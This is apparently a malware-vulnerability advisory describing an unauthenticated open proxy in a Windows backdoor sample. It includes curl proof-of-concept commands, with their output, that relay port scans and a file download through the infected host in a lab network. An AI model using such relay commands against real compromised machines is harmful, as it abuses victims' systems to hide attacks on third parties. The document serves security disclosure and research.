HEUR.Backdoor.Win32.Generic Unauthenticated Open Proxy

HEUR.Backdoor.Win32.Generic malware suffers from an unauthenticated open proxy vulnerability.


MD5 | 832ba4d365794103e377db0a75b656e1

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bcf45d515f2a0c6ead1e44ea6371276b.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Generic
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 1080, 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: bcf45d515f2a0c6ead1e44ea6371276b
Vuln ID: MVID-2021-0293
Dropped files: winlogin.exe
Disclosure: 07/18/2021

Exploit/PoC:
Scan port 21)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

Scan port 110)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 1075k


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